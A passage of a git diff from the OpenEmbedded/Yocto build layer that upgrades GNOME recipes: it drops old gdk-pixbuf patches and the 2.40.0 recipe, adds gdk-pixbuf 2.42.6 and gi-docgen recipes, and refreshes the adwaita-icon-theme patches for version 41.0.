-This works but the mime types will come from native
-loader.cache (which will only contain in-tree loaders), not from the
-target loader.cache.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build-aux/gen-thumbnailer.py | 2 --
- tests/meson.build | 11 +++++++++--
- thumbnailer/meson.build | 5 +----
- 3 files changed, 10 insertions(+), 8 deletions(-)
-
-diff --git a/build-aux/gen-thumbnailer.py b/build-aux/gen-thumbnailer.py
-index 05ac821..c5b99ab 100644
---- a/build-aux/gen-thumbnailer.py
-+++ b/build-aux/gen-thumbnailer.py
-@@ -20,8 +20,6 @@ argparser.add_argument('output', help='Output file')
- args = argparser.parse_args()
-
- newenv = os.environ.copy()
--newenv['GDK_PIXBUF_PIXDATA'] = args.pixdata
--newenv['GDK_PIXBUF_MODULE_FILE'] = args.loaders
- # 'nt': NT-based Windows, see https://docs.python.org/3/library/os.html
- if os.name == 'nt':
- gdk_pixbuf_dll_buildpath = os.path.dirname(args.pixdata)
-diff --git a/tests/meson.build b/tests/meson.build
-index 8ed7cc1..e011b77 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -1,12 +1,19 @@
- # Resources; we cannot use gnome.compile_resources() here, because we need to
- # override the environment in order to use the utilities we just built instead
- # of the system ones
-+
-+if not meson.is_cross_build()
-+pixdata_binary = gdk_pixbuf_pixdata.full_path()
-+else
-+pixdata_binary = 'gdk-pixbuf-pixdata'
-+endif
-+
- resources_c = custom_target('resources.c',
- input: 'resources.gresource.xml',
- output: 'resources.c',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--source',
-@@ -24,7 +31,7 @@ resources_h = custom_target('resources.h',
- output: 'resources.h',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--header',
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index aaafec8..71bd61b 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -18,9 +18,7 @@ custom_target('thumbnailer',
- output: 'gdk-pixbuf-thumbnailer.thumbnailer',
- command: [
- gen_thumbnailer,
-- '--printer=@0@'.format(gdk_pixbuf_print_mime_types.full_path()),
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-- '--loaders=@0@'.format(loaders_cache.full_path()),
-+ '--printer=gdk-pixbuf-print-mime-types',
- '--bindir=@0@'.format(gdk_pixbuf_bindir),
- '@INPUT@',
- '@OUTPUT@',
-@@ -28,7 +26,6 @@ custom_target('thumbnailer',
- depends: [
- gdk_pixbuf_print_mime_types,
- gdk_pixbuf_pixdata,
-- loaders_cache,
- ],
- install: true,
- install_dir: join_paths(gdk_pixbuf_datadir, 'thumbnailers'))
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
deleted file mode 100644
index 96c546f271..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3c4a6c147ae8a0962ba9194373d8a41d14eed44f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:23:55 +0100
-Subject: [PATCH] Do not run tests when building
-
-Upstream-Status: Inappropriate [cross-compile specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/meson.build | 17 -----------------
- 1 file changed, 17 deletions(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 4fa3fbc..6ef7884 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -138,23 +138,6 @@ foreach t: installed_tests
- install_dir: installed_test_bindir,
- )
-
-- # Two particularly slow tests
-- if test_suites.contains('slow')
-- timeout = 300
-- else
-- timeout = 30
-- endif
--
-- test(test_name, test_bin,
-- suite: test_suites,
-- args: [ '-k', '--tap' ],
-- env: [
-- 'G_TEST_SRCDIR=@0@'.format(meson.current_source_dir()),
-- 'G_TEST_BUILDDIR=@0@'.format(meson.current_build_dir()),
-- 'GDK_PIXBUF_MODULE_FILE=@0@'.format(loaders_cache.full_path()),
-- ],
-- timeout: timeout,
-- )
- endforeach
-
- executable('pixbuf-read',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
deleted file mode 100644
index 0fe13a387a..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 1a532e090c558a830de9503f56e23414e880bb95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 5 Jun 2019 14:17:55 +0200
-Subject: [PATCH] Build thumbnailer and tests also in cross builds.
-
-Upstream-Status: Inappropriate [relies on oe-core specific hacks]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index d104cea..7acb88a 100644
---- a/meson.build
-+++ b/meson.build
-@@ -397,10 +397,8 @@ endif
- # i18n
- subdir('po')
-
--if not meson.is_cross_build()
-- subdir('tests')
-- subdir('thumbnailer')
--endif
-+subdir('tests')
-+subdir('thumbnailer')
-
- # Documentation
- subdir('docs')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch
deleted file mode 100644
index 6c758fd61c..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From d8d231c01ef2e59856da8a5c26ace955e5f29370 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 25 Nov 2019 17:05:46 +0000
-Subject: [PATCH] tests: install circular-table.gif
-
-This test data was added for the pixbuf-gif-circular-table test (added October
-2018 in 0b9d004) but because the file was never actually installed the installed
-test suite never passes.
----
- tests/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 5116fc2b9..80ed3e8b2 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -97,6 +97,7 @@ test_data = [
- 'bug775693.pixdata',
- 'bug775229.pixdata',
- 'aero.gif',
-+ 'circular-table.gif'
- ]
-
- installed_test_bindir = join_paths(gdk_pixbuf_libexecdir, 'installed-tests', meson.project_name())
---
-2.20.1
-
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
deleted file mode 100644
index 3dec5ed052..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
+++ /dev/null
@@ -1,132 +0,0 @@
-SUMMARY = "Image loading library for GTK+"
-DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
-facilities, fast scaling and compositing of pixbufs and Simple animation \
-loading (ie. animated GIFs)"
-HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
-
-LICENSE = "LGPLv2.1+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
- "
-
-SECTION = "libs"
-
-DEPENDS = "glib-2.0 gdk-pixbuf-native shared-mime-info"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://fatal-loader.patch \
- file://0001-Work-around-thumbnailer-cross-compile-failure.patch \
- file://0001-Fix-a-couple-of-decisions-around-cross-compilation.patch \
- file://0004-Do-not-run-tests-when-building.patch \
- file://0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch \
- file://missing-test-data.patch \
- "
-
-SRC_URI_append_class-target = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-SRC_URI_append_class-nativesdk = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-
-SRC_URI[md5sum] = "05eb1ebc258ba905f1c8644ef49de064"
-SRC_URI[sha256sum] = "1582595099537ca8ff3b99c6804350b4c058bb8ad67411bbaae024ee7cead4e6"
-
-inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gtk-doc lib_package
-
-GIR_MESON_OPTION = 'gir'
-
-LIBV = "2.10.0"
-
-GDK_PIXBUF_LOADERS ?= "png jpeg"
-
-PACKAGECONFIG = "${GDK_PIXBUF_LOADERS} \
- ${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} \
- ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
-PACKAGECONFIG_class-native = "${GDK_PIXBUF_LOADERS}"
-
-PACKAGECONFIG[png] = "-Dpng=true,-Dpng=false,libpng"
-PACKAGECONFIG[jpeg] = "-Djpeg=true,-Djpeg=false,jpeg"
-PACKAGECONFIG[tiff] = "-Dtiff=true,-Dtiff=false,tiff"
-PACKAGECONFIG[jpeg2000] = "-Djasper=true,-Djasper=false,jasper"
-PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
-PACKAGECONFIG[x11] = "-Dx11=true,-Dx11=false,virtual/libx11"
-
-PACKAGES =+ "${PN}-xlib"
-
-# For GIO image type sniffing
-RDEPENDS_${PN} = "shared-mime-info"
-
-FILES_${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
-ALLOW_EMPTY_${PN}-xlib = "1"
-
-FILES_${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-FILES_${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
-
-FILES_${PN}-dev += " \
- ${bindir}/gdk-pixbuf-csource \
- ${bindir}/gdk-pixbuf-pixdata \
- ${bindir}/gdk-pixbuf-print-mime-types \
- ${includedir}/* \
- ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
-"
-
-PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
-PACKAGES_DYNAMIC_class-native = ""
-
-python populate_packages_prepend () {
- postinst_pixbufloader = d.getVar("postinst_pixbufloader")
-
- loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
-
- packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
- d.setVar('PIXBUF_PACKAGES', packages)
-
- # The test suite exercises all the loaders, so ensure they are all
- # dependencies of the ptest package.
- d.appendVar("RDEPENDS_%s-ptest" % d.getVar('PN'), " " + packages)
-}
-
-do_install_append() {
- # Copy gdk-pixbuf-query-loaders into libdir so it is always available
- # in multilib builds.
- cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
-
-}
-
-# Remove a bad fuzzing attempt that sporadically fails without a way to reproduce
-do_install_ptest() {
- rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-randomly-modified.test
-}
-
-do_install_append_class-native() {
- find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-print-mime-types \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb
new file mode 100644
index 0000000000..21816ab06c
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.6.bb
@@ -0,0 +1,128 @@
+SUMMARY = "Image loading library for GTK+"
+DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
+facilities, fast scaling and compositing of pixbufs and Simple animation \
+loading (ie. animated GIFs)"
+HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
+
+LICENSE = "LGPLv2.1+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
+ "
+
+SECTION = "libs"
+
+DEPENDS = "glib-2.0 gdk-pixbuf-native shared-mime-info"
+DEPENDS:remove:class-native = "gdk-pixbuf-native"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://fatal-loader.patch \
+ file://0001-Add-use_prebuilt_tools-option.patch \
+ "
+
+SRC_URI[sha256sum] = "c4a6b75b7ed8f58ca48da830b9fa00ed96d668d3ab4b1f723dcf902f78bde77f"
+
+inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gi-docgen lib_package
+
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+LIBV = "2.10.0"
+
+GDK_PIXBUF_LOADERS ?= "png jpeg"
+
+PACKAGECONFIG = "${GDK_PIXBUF_LOADERS} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG:class-native = "${GDK_PIXBUF_LOADERS}"
+
+PACKAGECONFIG[png] = "-Dpng=true,-Dpng=false,libpng"
+PACKAGECONFIG[jpeg] = "-Djpeg=true,-Djpeg=false,jpeg"
+PACKAGECONFIG[tiff] = "-Dtiff=true,-Dtiff=false,tiff"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+
+EXTRA_OEMESON:class-target = " \
+ -Duse_prebuilt_tools=true \
+"
+
+EXTRA_OEMESON:class-nativesdk = " \
+ -Duse_prebuilt_tools=true \
+"
+
+PACKAGES =+ "${PN}-xlib"
+
+# For GIO image type sniffing
+RDEPENDS:${PN} = "shared-mime-info"
+
+FILES:${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
+ALLOW_EMPTY:${PN}-xlib = "1"
+
+FILES:${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+FILES:${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
+
+FILES:${PN}-dev += " \
+ ${bindir}/gdk-pixbuf-csource \
+ ${bindir}/gdk-pixbuf-pixdata \
+ ${bindir}/gdk-pixbuf-print-mime-types \
+ ${includedir}/* \
+ ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
+"
+
+PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
+PACKAGES_DYNAMIC:class-native = ""
+
+python populate_packages:prepend () {
+ postinst_pixbufloader = d.getVar("postinst_pixbufloader")
+
+ loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
+
+ packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
+ d.setVar('PIXBUF_PACKAGES', packages)
+
+ # The test suite exercises all the loaders, so ensure they are all
+ # dependencies of the ptest package.
+ d.appendVar("RDEPENDS:%s-ptest" % d.getVar('PN'), " " + packages)
+}
+
+do_install:append() {
+ # Copy gdk-pixbuf-query-loaders into libdir so it is always available
+ # in multilib builds.
+ cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
+
+}
+
+# Remove a bad fuzzing attempt that sporadically fails without a way to reproduce
+do_install_ptest() {
+ rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-randomly-modified.test
+}
+
+do_install:append:class-native() {
+ find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-print-mime-types \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
+ GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
+}
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb b/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb
new file mode 100644
index 0000000000..bacf983810
--- /dev/null
+++ b/meta/recipes-gnome/gi-docgen/gi-docgen_git.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Documentation tool for GObject-based libraries"
+DESCRIPTION = "GI-DocGen is a document generator for GObject-based libraries. GObject is \
+the base type system of the GNOME project. GI-Docgen reuses the \
+introspection data generated by GObject-based libraries to generate the API \
+reference of these libraries, as well as other ancillary documentation."
+HOMEPAGE = "https://gnome.pages.gitlab.gnome.org/gi-docgen/"
+
+LICENSE = "GPLv3+ & Apache-2.0"
+LIC_FILES_CHKSUM = "file://gi-docgen.py;beginline=1;endline=5;md5=2dc0f1f01202478cfe813c0e7f80b326"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gi-docgen.git;protocol=https;branch=main"
+
+PV = "2021.8"
+SRCREV = "a284455af9b3cad179900f6e1f12b59a3d40c06b"
+
+S = "${WORKDIR}/git"
+
+inherit setuptools3
+
+RDEPENDS:${PN} += "python3-asyncio python3-core python3-jinja2 python3-json python3-markdown python3-markupsafe python3-pygments python3-toml python3-typogrify python3-xml"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
index c8c70c4b58..5afba3c644 100644
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Don-t-use-AC_CANONICAL_HOST.patch
@@ -1,4 +1,4 @@
-From 8b3b153b6b95662316528ef083365b46cf5f7841 Mon Sep 17 00:00:00 2001
+From 63d97fefdbc90f5c68f67bdc30844776d9a1b720 Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 30 May 2017 14:55:49 +0300
Subject: [PATCH] Don't use AC_CANONICAL_HOST
@@ -14,12 +14,12 @@ Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
1 file changed, 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 449865d..888649e 100644
+index f2659a5..1e8b016 100644
--- a/configure.ac
+++ b/configure.ac
@@ -3,7 +3,6 @@ AC_PREREQ(2.53)
- AC_INIT([adwaita-icon-theme], [3.38.0],
+ AC_INIT([adwaita-icon-theme], [41.0],
[http://bugzilla.gnome.org/enter_bug.cgi?product=adwaita-icon-theme])
-AC_CANONICAL_HOST
AC_CONFIG_MACRO_DIR([m4])
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
index c4d7e2583b..a1d39cf558 100644
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme/0001-Run-installation-commands-as-shell-jobs.patch
@@ -1,20 +1,21 @@
-From 8dcd73b45a660dbdc560676835ba46f495334f14 Mon Sep 17 00:00:00 2001
+From 79da031e9811f3eef34b14cce419be93fea34319 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 13 Jun 2017 18:10:06 +0300
Subject: [PATCH] Run installation commands as shell jobs
This greatly speeds up installation time on multi-core systems.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/adwaita-icon-theme/-/merge_requests/39]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
- src/fullcolor/Makefile.am | 3 ++-
- src/spinner/Makefile.am | 5 +++--
- src/symbolic/Makefile.am | 7 ++++---
- 3 files changed, 9 insertions(+), 6 deletions(-)
+ src/fullcolor/Makefile.am | 5 +++--
+ src/spinner/Makefile.am | 7 ++++---
+ src/symbolic/Makefile.am | 11 ++++++-----
+ 3 files changed, 13 insertions(+), 10 deletions(-)
diff --git a/src/fullcolor/Makefile.am b/src/fullcolor/Makefile.am
-index 1c940a5..3998ee6 100644
+index d73529b..b7d0808 100644
--- a/src/fullcolor/Makefile.am
+++ b/src/fullcolor/Makefile.am
@@ -9,9 +9,10 @@ install-data-local:
@@ -31,7 +32,7 @@ index 1c940a5..3998ee6 100644
## FIXME we should add a way to remove links generated by icon mapping
uninstall-local:
diff --git a/src/spinner/Makefile.am b/src/spinner/Makefile.am
-index 86f4d7c..3fae8c1 100644
+index c14caf6..322dc0d 100644
--- a/src/spinner/Makefile.am
+++ b/src/spinner/Makefile.am
@@ -24,13 +24,14 @@ install-data-local:
@@ -45,18 +46,18 @@ index 86f4d7c..3fae8c1 100644
context="`dirname $$file`"; \
$(mkdir_p) $(DESTDIR)$(themedir)/scalable-up-to-32/$$context; \
- $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file; \
-+ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file & \
- done
++ $(install_sh_DATA) $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32/$$file $(DESTDIR)$(themedir)/scalable-up-to-32/$$file & \
+ done; \
+ wait
uninstall-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable-up-to-32; find . -name "*.svg"`; do \
diff --git a/src/symbolic/Makefile.am b/src/symbolic/Makefile.am
-index 24aac9b..61ba071 100644
+index 957c0ee..e1f8818 100644
--- a/src/symbolic/Makefile.am
+++ b/src/symbolic/Makefile.am
-@@ -25,18 +25,19 @@ install-data-local:
+@@ -34,18 +34,19 @@ install-data-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/$$size; find . -name "*.png"`; do \
context="`dirname $$file`"; \
$(mkdir_p) $(DESTDIR)$(themedir)/$$size/$$context; \
@@ -81,6 +82,3 @@ index 24aac9b..61ba071 100644
uninstall-local:
for file in `cd $(top_srcdir)/$(SVGOUTDIR)/scalable; find . -name "*.svg"`; do \
---
-2.11.0
-
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.38.0.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_3.38.0.bb
deleted file mode 100644
index ff557978dc..0000000000
--- a/meta/recipes-gnome/gnome/adwaita-icon-theme_3.38.0.bb
+++ /dev/null
@@ -1,42 +0,0 @@
-SUMMARY = "GTK+ icon theme"
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
-SECTION = "x11/gnome"
-
-LICENSE = "LGPL-3.0 | CC-BY-SA-3.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
- file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
- file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
-
-inherit allarch autotools pkgconfig gettext gtk-icon-cache upstream-version-is-even
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://0001-Don-t-use-AC_CANONICAL_HOST.patch \
- file://0001-Run-installation-commands-as-shell-jobs.patch \
- "
-
-SRC_URI[sha256sum] = "6683a1aaf2430ccd9ea638dd4bfe1002bc92b412050c3dba20e480f979faaf97"
-
-DEPENDS += "librsvg-native"
-
-PACKAGES = "${PN}-cursors ${PN}-symbolic-hires ${PN}-symbolic ${PN}-hires ${PN}"
-
-RREPLACES_${PN} = "gnome-icon-theme"
-RCONFLICTS_${PN} = "gnome-icon-theme"
-RPROVIDES_${PN} = "gnome-icon-theme"
-
-FILES_${PN}-cursors = "${prefix}/share/icons/Adwaita/cursors/"
-FILES_${PN}-symbolic-hires = "${prefix}/share/icons/Adwaita/96x96/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/64x64/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/48x48/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/32x32/*/*.symbolic.png"
-FILES_${PN}-symbolic = "${prefix}/share/icons/Adwaita/16x16/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/24x24/*/*.symbolic.png \
- ${prefix}/share/icons/Adwaita/scalable/*/*-symbolic*.svg"
-FILES_${PN}-hires = "${prefix}/share/icons/Adwaita/256x256/ \
- ${prefix}/share/icons/Adwaita/512x512/"
-FILES_${PN} = "${prefix}/share/icons/Adwaita/ \
- ${prefix}/share/pkgconfig/adwaita-icon-theme.pc"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb b/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb
new file mode 100644
index 0000000000..2b21e1bb2d
--- /dev/null
+++ b/meta/recipes-gnome/gnome/adwaita-icon-theme_41.0.bb
@@ -0,0 +1,43 @@
+SUMMARY = "GTK+ icon theme"
